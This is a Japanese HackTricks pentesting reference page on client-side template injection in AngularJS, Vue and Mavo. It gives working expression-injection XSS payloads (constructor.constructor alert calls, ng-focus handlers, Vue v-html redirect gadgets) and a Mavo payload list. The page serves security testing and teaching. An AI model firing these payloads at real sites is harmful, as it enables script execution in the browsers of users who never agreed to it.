hacktricks/pentesting-web/client-side-template-injection-csti.md

130 lines
8.6 KiB
Markdown
Raw Blame History

This file contains ambiguous Unicode characters

This file contains Unicode characters that might be confused with other characters. If you think that this is intentional, you can safely ignore this warning. Use the Escape button to reveal them.

# クライアントサイドテンプレートインジェクション (CSTI)
{% hint style="success" %}
AWSハッキングを学び、実践する<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
GCPハッキングを学び、実践する<img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
<details>
<summary>HackTricksをサポートする</summary>
* [**サブスクリプションプラン**](https://github.com/sponsors/carlospolop)を確認してください!
* **💬 [**Discordグループ**](https://discord.gg/hRep4RUj7f)または[**Telegramグループ**](https://t.me/peass)に参加するか、**Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**をフォローしてください。**
* **ハッキングトリックを共有するには、[**HackTricks**](https://github.com/carlospolop/hacktricks)および[**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud)のGitHubリポジトリにPRを提出してください。**
</details>
{% endhint %}
#### [WhiteIntel](https://whiteintel.io)
<figure><img src="../.gitbook/assets/image (1227).png" alt=""><figcaption></figcaption></figure>
[**WhiteIntel**](https://whiteintel.io)は、**ダークウェブ**を利用した検索エンジンで、企業やその顧客が**マルウェアに侵害された**かどうかを確認するための**無料**機能を提供しています。
WhiteIntelの主な目標は、情報を盗むマルウェアによるアカウント乗っ取りやランサムウェア攻撃に対抗することです。
彼らのウェブサイトを確認し、**無料**でエンジンを試すことができます:
{% embed url="https://whiteintel.io" %}
***
## 概要
これは[**サーバーサイドテンプレートインジェクション**](ssti-server-side-template-injection/)のようなもので、**クライアント**側で発生します。**SSTI**はリモートサーバー上で**コードを実行**することを可能にしますが、**CSTI**は被害者のブラウザ内で**任意のJavaScript**コードを**実行**することを可能にします。
この脆弱性の**テスト**は、**SSTI**の場合と非常に**似ています**。インタープリターは**テンプレート**を期待し、それを実行します。例えば、`{{ 7-7 }}`のようなペイロードを使用した場合、アプリが**脆弱**であれば`0`が表示され、そうでなければ元の`{{ 7-7 }}`が表示されます。
## AngularJS
AngularJSは、**`ng-app`**として知られる属性を介してHTMLと対話する広く使用されているJavaScriptフレームワークです。このディレクティブにより、AngularJSはHTMLコンテンツを処理し、二重波括弧内でJavaScript式を実行できるようになります。
ユーザー入力が`ng-app`でタグ付けされたHTMLボディに動的に挿入されるシナリオでは、任意のJavaScriptコードを実行することが可能です。これは、入力内でAngularJSの構文を利用することで実現できます。以下は、JavaScriptコードがどのように実行されるかを示す例です
```javascript
{{$on.constructor('alert(1)')()}}
{{constructor.constructor('alert(1)')()}}
<input ng-focus=$event.view.alert('XSS')>
<!-- Google Research - AngularJS -->
<div ng-app ng-csp><textarea autofocus ng-focus="d=$event.view.document;d.location.hash.match('x1') ? '' : d.location='//localhost/mH/'"></textarea></div>
```
あなたは**AngularJS**の脆弱性の非常に**基本的なオンライン例**を[http://jsfiddle.net/2zs2yv7o/](http://jsfiddle.net/2zs2yv7o/)と[**Burp Suite Academy**](https://portswigger.net/web-security/cross-site-scripting/dom-based/lab-angularjs-expression)で見つけることができます。
{% hint style="danger" %}
[**Angular 1.6はサンドボックスを削除しました**](http://blog.angularjs.org/2016/09/angular-16-expression-sandbox-removal.html)ので、このバージョンからは`{{constructor.constructor('alert(1)')()}}`や`<input ng-focus=$event.view.alert('XSS')>`のようなペイロードが機能するはずです。
{% endhint %}
## VueJS
**脆弱なVue**の実装は[https://vue-client-side-template-injection-example.azu.now.sh/](https://vue-client-side-template-injection-example.azu.now.sh)で見つけることができます。\
動作するペイロード: [`https://vue-client-side-template-injection-example.azu.now.sh/?name=%7B%7Bthis.constructor.constructor(%27alert(%22foo%22)%27)()%7D%`](https://vue-client-side-template-injection-example.azu.now.sh/?name=%7B%7Bthis.constructor.constructor\(%27alert\(%22foo%22\)%27\)\(\)%7D%7D)
そして、脆弱な例の**ソースコード**はこちら: [https://github.com/azu/vue-client-side-template-injection-example](https://github.com/azu/vue-client-side-template-injection-example)
```markup
<!-- Google Research - Vue.js-->
"><div v-html="''.constructor.constructor('d=document;d.location.hash.match(\'x1\') ? `` : d.location=`//localhost/mH`')()"> aaa</div>
```
CSTIに関する非常に良い投稿は、[https://portswigger.net/research/evading-defences-using-vuejs-script-gadgets](https://portswigger.net/research/evading-defences-using-vuejs-script-gadgets) で見つけることができます。
### **V3**
```
{{_openBlock.constructor('alert(1)')()}}
```
クレジット: [Gareth Heyes, Lewis Ardern & PwnFunction](https://portswigger.net/research/evading-defences-using-vuejs-script-gadgets)
### **V2**
```
{{constructor.constructor('alert(1)')()}}
```
クレジット: [マリオ・ハイダーリッヒ](https://twitter.com/cure53berlin)
**他のVUEペイロードを確認するには** [**https://portswigger.net/web-security/cross-site-scripting/cheat-sheet#vuejs-reflected**](https://portswigger.net/web-security/cross-site-scripting/cheat-sheet#vuejs-reflected)
## マヴォ
ペイロード:
```
[7*7]
[(1,alert)(1)]
<div mv-expressions="{{ }}">{{top.alert(1)}}</div>
[self.alert(1)]
javascript:alert(1)%252f%252f..%252fcss-images
[Omglol mod 1 mod self.alert (1) andlol]
[''=''or self.alert(lol)]
<a data-mv-if='1 or self.alert(1)'>test</a>
<div data-mv-expressions="lolx lolx">lolxself.alert('lol')lolx</div>
<a href=[javascript&':alert(1)']>test</a>
[self.alert(1)mod1]
```
**More payloads in** [**https://portswigger.net/research/abusing-javascript-frameworks-to-bypass-xss-mitigations**](https://portswigger.net/research/abusing-javascript-frameworks-to-bypass-xss-mitigations)
## **ブルートフォース検出リスト**
{% embed url="https://github.com/carlospolop/Auto_Wordlists/blob/main/wordlists/ssti.txt" %}
#### [WhiteIntel](https://whiteintel.io)
<figure><img src="../.gitbook/assets/image (1227).png" alt=""><figcaption></figcaption></figure>
[**WhiteIntel**](https://whiteintel.io) は、**ダークウェブ**を利用した検索エンジンで、企業やその顧客が**盗難マルウェア**によって**侵害**されているかどうかを確認するための**無料**機能を提供しています。
WhiteIntelの主な目的は、情報を盗むマルウェアによるアカウント乗っ取りやランサムウェア攻撃と戦うことです。
彼らのウェブサイトをチェックし、**無料**でエンジンを試すことができます:
{% embed url="https://whiteintel.io" %}
{% hint style="success" %}
Learn & practice AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
Learn & practice GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
<details>
<summary>Support HackTricks</summary>
* Check the [**subscription plans**](https://github.com/sponsors/carlospolop)!
* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
* **Share hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
</details>
{% endhint %}